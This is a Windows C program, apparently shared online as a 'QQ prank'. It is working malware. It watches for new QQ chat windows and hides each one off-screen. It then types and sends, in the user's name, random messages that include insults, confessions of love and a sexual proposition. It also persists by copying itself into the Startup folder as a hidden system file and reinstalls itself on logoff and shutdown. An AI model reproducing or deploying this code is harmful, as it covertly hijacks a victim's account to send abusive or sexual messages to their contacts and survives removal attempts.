qq恶作剧

#include<windows.h>
#include<Shlobj.h>
#include<stdio.h>
void SendChars(HWND hwnd,wchar_t*str)
{ 
	while(*str)
	{
		SendMessageTimeoutW(hwnd,WM_CHAR,*str,1,0,1000,0);
		++str;
	}
}

void SendKeys(HWND hwnd,USHORT*Keys,int Attach)
{
	DWORD tid;UINT Scancode,msg;USHORT key;LPARAM lParam;long release;int context,attached;BYTE keystate[256];
	tid=GetWindowThreadProcessId(hwnd,0);
	context=((USHORT)GetAsyncKeyState(VK_MENU))>>15;
	if(Attach)attached=AttachThreadInput(tid,GetCurrentThreadId(),1);
	if(attached)
		GetKeyboardState(keystate);
	if((size_t)Keys>65535)
	{
		while(*Keys)
		{
			key=*Keys;
			release=key>>15;
			key&=~32768;
			if(key==VK_MENU)context=release==0;
			if(release)keystate[key]&=~128;else keystate[key]|=128;
			msg=context?(release?WM_SYSKEYUP:WM_SYSKEYDOWN):(release?WM_KEYUP:WM_KEYDOWN);
			Scancode=MapVirtualKeyExW(key,0,0);
			lParam=1|(Scancode<<16)|(context<<29)|(release<<30)|(release<<31);
			if(attached)SetKeyboardState(keystate);
			PostMessageW(hwnd,msg,key,lParam);
			++Keys;
		}
	}else
	{
		release=(USHORT)Keys>>15;
		key=(USHORT)Keys&~32768;
		if(key==VK_MENU)context=release==0;
		msg=context?(release?WM_SYSKEYUP:WM_SYSKEYDOWN):(release?WM_KEYUP:WM_KEYDOWN);
		Scancode=MapVirtualKeyExW(key,0,0);
		lParam=1|(Scancode<<16)|(context<<29)|(release<<30)|(release<<31);
		PostMessageW(hwnd,msg,key,lParam);
	}
	if(attached)
	{
		AttachThreadInput(tid,GetCurrentThreadId(),0);
	}
}

void SendIM(HWND hwnd)
{
	DWORD tid=GetWindowThreadProcessId(hwnd,0);
	AttachThreadInput(tid,GetCurrentThreadId(),1);
	SetFocus(hwnd);
	AttachThreadInput(tid,GetCurrentThreadId(),0);
	keybd_event(VK_MENU,0,0,0);
	keybd_event('S',0,0,0);
	keybd_event('S',0,2,0);
	keybd_event(VK_MENU,0,2,0);
	SleepEx(400,0);
	PostMessageW(hwnd,WM_RBUTTONDOWN,MK_RBUTTON,MAKELONG(90,135));
	PostMessageW(hwnd,WM_RBUTTONUP,MK_RBUTTON,MAKELONG(90,135));
	keybd_event(VK_UP,0,0,0);
	keybd_event(VK_UP,0,2,0);
	keybd_event(VK_RETURN,0,0,0);
	keybd_event(VK_RETURN,0,2,0);
	SleepEx(200,0);
}

int IsNonchatWindow(HWND hwnd)
{
	static wchar_t passlist[][3]={L"群",L"资料",L"头像",L"设置",L"查找",L"QQ",L"消息",L"网络",L"工具",L"创建",L"状态",L"应用",L"管理",L"提示",L"安全",L"上传",L"本地",L"修改",L"移至",L"举报",L"好友",L"我的"};
	int i;wchar_t Caption[128];
	if(GetWindowTextW(hwnd,Caption,128)==0)return 1;
	for(i=0;i<sizeof passlist/sizeof*passlist;++i)
		if(wcsstr(Caption,passlist[i]))return 1;
	return 0;
}

wchar_t*SelectMessage(HWND hwnd)
{
	static wchar_t text[512];unsigned int i;wchar_t Caption[128];
	static wchar_t*templates[]={L"其实,%s,我喜欢你很久了",
		L"我们何时变的这般陌生,我学会了逃避也学会了伪装,安静的站在你面前突然发现",
		L"你光着身子追我两公里 我回一次头都算我是流氓!",L"你妈带你逛街,别人都问:大姐,你这猴多少钱买的?",
		L"你活着浪费空气,死了浪费土地,半死不活浪费RMB…",
		L"我也不想打击你了。你去动物园看看有没有合适的工作适合你,你这样在街上乱跑很容易被警察射杀的。",
		L"我喜欢你,%s!想要追你~可以吗? ",L"你还没有进化完全,长的象人真的难为你了。",
		L"%s: 我的挚爱,我的小乖乖。遇见你,如果是一个梦,我希望这个梦永远都不会醒。爱上你,如果是一个错,我宁愿永远都错下去。我会永远守护着你,我爱你! 猪宝贝!"
		L"我是如此的卑微我如星辰,而你却是那耀眼的阳光,在你的身边我永远是不起眼的小丑",L"见过丑的,没见过你这么丑的。乍一看挺丑,仔细一看更丑!"
		L"%s,爱你一辈子都不够",L"%s,我爱你",L"%s,我想上你",L"%s,我真的错啦,请你相信我吧。没有你的关心我真的无法生活",
		L"我喜欢你,%s,喜欢你已经很久了,虽然我跟你认识不是很久,也没说过什么话,可是我深深的感觉到你就是我要找的那女人,"
		L"我已经好久没有那种心动悸然的感觉了。我不知道如何去表达我对你的喜欢,不知道如何去追你,我也许不够好,也许没不是你想要的那样,但我可以给你快乐,我会对你好,不会再让你受到伤害!答应我好吗?在一起一起走下去...",
		L"宝贝,快点好起来吧,无论你多么讨厌我,我仍然希望你健康快乐一辈子,无论你喜不喜欢我,我都希望你幸福……遇见你,是我这辈子最幸福的时刻,这辈子,无法忘怀……",
		L"这是最后一次了,怕烦到你,,,是我说的太迟了吗? 只想让你知道,我真的喜欢你。...如果你还是不回答,那我该怎么做呢??? 真的,我已经尽力了。。难道,是我不好吗?没事的。。。我可以,我会变得更完美,更好的。也会更努力的。相信我。。。。。。。。。"
		L"%s。我们相识的日子并不是很长,但我我已经喜欢上你了。请给我个机会让我来照顾你 体贴你 ,如果说有机会我一定会好好珍惜的. 莪只想由我来守护, 由我给你幸福. 关于迩, 莪真的很在乎.我真的好想我们能走在一起,我喜欢你。"};
	i=GetTickCount()&63;
	if(i&48)return 0;
	if(GetWindowTextW(hwnd,Caption,128)==0)return 0;
	swprintf(text,templates[i],Caption);
	return text;
}

LRESULT CALLBACK WindowProc(HWND hWnd,UINT uMsg,WPARAM wParam,LPARAM lParam)
{
    static UINT WM_SHELLHOOKMESSAGE;
    switch(uMsg)
    {
    case WM_CREATE:
        WM_SHELLHOOKMESSAGE=RegisterWindowMessageW(L"SHELLHOOK");
		return 0;
	case WM_QUERYENDSESSION:
		return 1;
	case WM_ENDSESSION:
        return 0;
    default:if(uMsg==WM_SHELLHOOKMESSAGE)
            {
                switch(wParam)
                {
                case HSHELL_WINDOWCREATED:
					{
						HWND hwnd=(HWND)lParam;wchar_t ClassName[32];
						if(GetClassNameW(hwnd,ClassName,32)==sizeof"TXGuiFoundation"-1)
							if(wcscmp(ClassName,L"TXGuiFoundation")==0)
								if(!IsNonchatWindow(hwnd))
								{
									RECT Rect;wchar_t*message;
									message=SelectMessage(hwnd);
									if(message)
									{
										GetWindowRect(hwnd,&Rect);
										MoveWindow(hwnd,32767,32767,Rect.right-Rect.left,Rect.bottom-Rect.top,0);
										SleepEx(200,0);
										SendChars(hwnd,message);
										SendIM(hwnd);
										MoveWindow(hwnd,Rect.left,Rect.top,Rect.right-Rect.left,Rect.bottom-Rect.top,1);
									}
								}
					}
                    break;
                }
                return 0;
            }
    }
    return DefWindowProcW(hWnd,uMsg,wParam,lParam);
}

void Install(void)
{
	wchar_t StartupPath[MAX_PATH],CurrentPath[256];
	if(SHGetSpecialFolderPathW(0,StartupPath,CSIDL_STARTUP,1))
	{
		wcscat(StartupPath,L"\\a.exe");
		GetModuleFileNameW(0,CurrentPath,256);
		if(CopyFileW(CurrentPath,StartupPath,0))
		{
			SetFileAttributesW(StartupPath,FILE_ATTRIBUTE_SYSTEM);
		}
	}
}

DWORD CALLBACK InstallThread(void*Parameter)
{
	SleepEx((DWORD)Parameter,0);
	Install();
	return 0;
}

BOOL WINAPI HandlerRoutine(DWORD dwCtrlType)
{
	switch(dwCtrlType)
	{
	case CTRL_LOGOFF_EVENT:
	case CTRL_SHUTDOWN_EVENT:
		CloseHandle(CreateRemoteThread(GetCurrentThread(),0,0,InstallThread,(LPVOID)500,0,0));
		SleepEx(700,0);
		Install();
		return 1;
	default:return 0;
	}
}

int main(){MSG msg;
HWND hwnd;static WNDCLASSEXW WindowClass={sizeof(WNDCLASSEXW),0,WindowProc,0,0,0,0,0,0,0,L"msgrecv",0};ATOM ClassAtom;
BOOL(WINAPI*pSetProcessShutdownParameters)(DWORD dwLevel,DWORD dwFlags);
pSetProcessShutdownParameters=(BOOL(WINAPI*)(DWORD dwLevel,DWORD dwFlags))GetProcAddress(GetModuleHandleW(L"kernel32.dll"),"SetProcessShutdownParameters");
pSetProcessShutdownParameters(0,0);
if(FindWindowW(L"msgrecv",0))return 0;
ClassAtom=RegisterClassExW(&WindowClass);
WindowClass.hInstance=GetModuleHandleW(0);
hwnd=CreateWindowExW(0,(LPWSTR)(unsigned long)ClassAtom,0,0,0,0,0,0,(HWND)-3,0,0,0);
RegisterShellHookWindow(hwnd);
SetConsoleCtrlHandler(HandlerRoutine,1);
while(GetMessageW(&msg,0,0,0)!=-1)DispatchMessageW(&msg);
return 0;
}

你可能感兴趣的:(qq,System,callback,menu,templates,winapi)